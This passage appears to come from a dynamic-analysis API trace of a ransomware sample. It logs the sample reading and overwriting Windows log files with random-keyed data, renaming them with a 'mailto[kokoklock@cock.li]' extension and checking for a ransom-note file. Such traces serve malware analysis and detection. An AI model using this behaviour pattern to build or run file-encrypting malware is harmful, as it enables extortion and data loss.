0x9de9ce96 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xba8363b9 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x442d0546 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x27094b33 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x15fc4af2 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x2195b046 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x92d35dfd [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x66f3bb3 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x6d2a4ec6 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x91ae52ef [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x2d0ffe0e [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xaace4e45 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xe4147de5 [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x5af9b1ed [0077.168] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x360eda4 [0077.169] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x2e92ed97 [0077.169] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0x8b71a3a4 [0077.169] RtlRandom (in: Seed=0x1f33fc4c | out: Seed=0x1f33fc4c) returned 0xdbf5d5ac [0077.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b18 [0077.179] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b18) returned 1 [0077.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.179] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.179] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f33fc40, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f33fc40*=0x2000, lpOverlapped=0x0) returned 1 [0077.181] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f33fc08 | out: lpNewFilePointer=0x0) returned 1 [0077.181] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f33fc3c, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f33fc3c*=0x2000, lpOverlapped=0x0) returned 1 [0077.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b18 [0077.181] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.181] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492b18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f33fc38, lpOverlapped=0x0 | out: lpBuffer=0x3492b18*, lpNumberOfBytesWritten=0x1f33fc38*=0x20, lpOverlapped=0x0) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b18) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f33fc64*=0x8, lpOverlapped=0x0) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f33fc7c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x1f33fc7c*, lpNumberOfBytesWritten=0x1f33fc64*=0x4, lpOverlapped=0x0) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f33fc64*=0x4, lpOverlapped=0x0) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f33fc64*=0x6c, lpOverlapped=0x0) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f33fc64*=0x20, lpOverlapped=0x0) returned 1 [0077.182] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f33fc64, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f33fc64*=0x4, lpOverlapped=0x0) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492af0) returned 1 [0077.182] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.183] CloseHandle (hObject=0x8fc) returned 1 [0077.183] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3430b00 [0077.183] wcscpy (in: _Dest=0x3430b00, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" [0077.183] wcscat (in: _Dest=0x3430b00, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" [0077.183] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationux.002.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.183] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b00) returned 1 [0077.184] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUx.002.etl", dwFileAttributes=0x2020) returned 0 [0077.184] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.184] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.184] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.184] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.184] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd070) returned 1 [0077.184] RtlExitUserThread (Status=0x1) Thread: id = 844 os_tid = 0x1434 [0077.185] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl")) returned 0x2020 [0077.186] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl", dwFileAttributes=0x20) returned 1 [0077.187] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.187] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f3bf844 | out: lpFileSize=0x1f3bf844*=8192) returned 1 [0077.187] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.187] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f3bf818, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x1f3bf818*, lpNumberOfBytesRead=0x1f3bf814*=0x4, lpOverlapped=0x0) returned 1 [0077.188] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.188] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492af0 [0077.188] NtQuerySystemTime (in: CurrentTime=0x1f3bf7f0 | out: CurrentTime=0x1f3bf7f0*=132121176350816658) returned 0x0 [0077.188] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xcd828ec3 [0077.188] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x31859bb9 [0077.188] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x14f84c9 [0077.188] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x6e707d3c [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xb0d13f35 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x4dc1b36b [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x63726bac [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x587e974c [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x729ec62e [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x45b7be52 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xe3fdb5a5 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x19148cb2 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x85837f16 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x6b02873f [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xcc3ed21f [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xc62a3c41 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x9867b8ba [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xb2688676 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xfac4fc3f [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xacdb01d9 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xfb173a12 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x83a7545 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x7152f541 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xf61d1fe7 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xa64a779f [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xdb1602d7 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x8074dbb8 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x53b88b44 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xccfd8114 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x7e20aa62 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0xf0aa34d3 [0077.189] RtlRandom (in: Seed=0x1f3bf7fc | out: Seed=0x1f3bf7fc) returned 0x7964efb3 [0077.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b40 [0077.249] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b40) returned 1 [0077.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348a220 [0077.249] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e2c0 [0077.249] ReadFile (in: hFile=0x8fc, lpBuffer=0x348a220, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x1f3bf7f0, lpOverlapped=0x0 | out: lpBuffer=0x348a220*, lpNumberOfBytesRead=0x1f3bf7f0*=0x2000, lpOverlapped=0x0) returned 1 [0077.250] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1f3bf7b8 | out: lpNewFilePointer=0x0) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x348e2c0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x1f3bf7ec, lpOverlapped=0x0 | out: lpBuffer=0x348e2c0*, lpNumberOfBytesWritten=0x1f3bf7ec*=0x2000, lpOverlapped=0x0) returned 1 [0077.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b40 [0077.251] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492c30 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492c30) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492b40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f3bf7e8, lpOverlapped=0x0 | out: lpBuffer=0x3492b40*, lpNumberOfBytesWritten=0x1f3bf7e8*=0x20, lpOverlapped=0x0) returned 1 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b40) returned 1 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e2c0) returned 1 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348a220) returned 1 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.251] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd8f8) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x34928e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x34928e8*, lpNumberOfBytesWritten=0x1f3bf814*=0x8, lpOverlapped=0x0) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x1f3bf82c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x1f3bf82c*, lpNumberOfBytesWritten=0x1f3bf814*=0x4, lpOverlapped=0x0) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1f3bf814*=0x4, lpOverlapped=0x0) returned 1 [0077.251] WriteFile (in: hFile=0x8fc, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1f3bf814*=0x6c, lpOverlapped=0x0) returned 1 [0077.252] WriteFile (in: hFile=0x8fc, lpBuffer=0x3492ca8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x3492ca8*, lpNumberOfBytesWritten=0x1f3bf814*=0x20, lpOverlapped=0x0) returned 1 [0077.252] WriteFile (in: hFile=0x8fc, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1f3bf814, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1f3bf814*=0x4, lpOverlapped=0x0) returned 1 [0077.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492ca8) returned 1 [0077.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492b18) returned 1 [0077.252] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34928e8) returned 1 [0077.252] CloseHandle (hObject=0x8fc) returned 1 [0077.252] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc0) returned 0x34320a0 [0077.252] wcscpy (in: _Dest=0x34320a0, _Source="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" [0077.252] wcscat (in: _Dest=0x34320a0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" [0077.252] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl"), lpNewFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.001.etl.mailto[kokoklock@cock.li].d0e731")) returned 1 [0077.253] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x2020) returned 1 [0077.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34320a0) returned 1 [0077.253] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.001.etl", dwFileAttributes=0x2020) returned 0 [0077.253] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6a) returned 0x3479a60 [0077.253] wcscpy (in: _Dest=0x3479a60, _Source="C:\\Users\\All Users\\USOShared\\Logs\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\") returned="C:\\Users\\All Users\\USOShared\\Logs\\" [0077.253] wcscat (in: _Dest=0x3479a60, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" [0077.253] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\usoshared\\logs\\d0e731-readme.txt")) returned 0x2020 [0077.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0077.253] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347f1b0) returned 1 [0077.253] RtlExitUserThread (Status=0x1) Thread: id = 845 os_tid = 0x1438 [0077.254] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl")) returned 0x2020 [0077.256] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl", dwFileAttributes=0x20) returned 1 [0077.256] CreateFileW (lpFileName="C:\\Users\\All Users\\USOShared\\Logs\\NotificationUxBroker.002.etl" (normalized: "c:\\users\\all users\\usoshared\\logs\\notificationuxbroker.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x8fc [0077.256] GetFileSizeEx (in: hFile=0x8fc, lpFileSize=0x1f43fedc | out: lpFileSize=0x1f43fedc*=8192) returned 1 [0077.256] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.256] ReadFile (in: hFile=0x8fc, lpBuffer=0x1f43feb0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1f43feac, lpOverlapped=0x0 | out: lpBuffer=0x1f43feb0*, lpNumberOfBytesRead=0x1f43feac*=0x4, lpOverlapped=0x0) returned 1 [0077.258] SetFilePointerEx (in: hFile=0x8fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492988 [0077.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492ca8 [0077.258] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3492b18 [0077.258] NtQuerySystemTime (in: CurrentTime=0x1f43fe88 | out: CurrentTime=0x1f43fe88*=132121176351440186) returned 0x0 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x62925690 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x9ef24259 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xab5c1746 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x775ac0a5 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xcd04f2 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xaf9eed12 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xd62f4e75 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x6518a6ec [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x885df5f5 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x1f09038e [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x805049c4 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x6cbb52d9 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xc684833f [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x89b234d1 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xcc801dc6 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x7fbeb748 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x1305dcf6 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x70790edb [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x7d145d40 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xf735eb0f [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x80759f60 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xa4ba0738 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x4d6a9e7c [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xd58d5d0d [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xa2d213d [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x94b1c284 [0077.258] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xb95b0628 [0077.259] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x8dc83494 [0077.259] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xa3045272 [0077.259] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0xe8bcad50 [0077.259] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x37d05195 [0077.259] RtlRandom (in: Seed=0x1f43fe94 | out: Seed=0x1f43fe94) returned 0x8c439e0f [0077.269] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479da8) returned 1 [0077.270] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3492988) returned 1 [0077.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd8f8 [0077.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0077.270] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 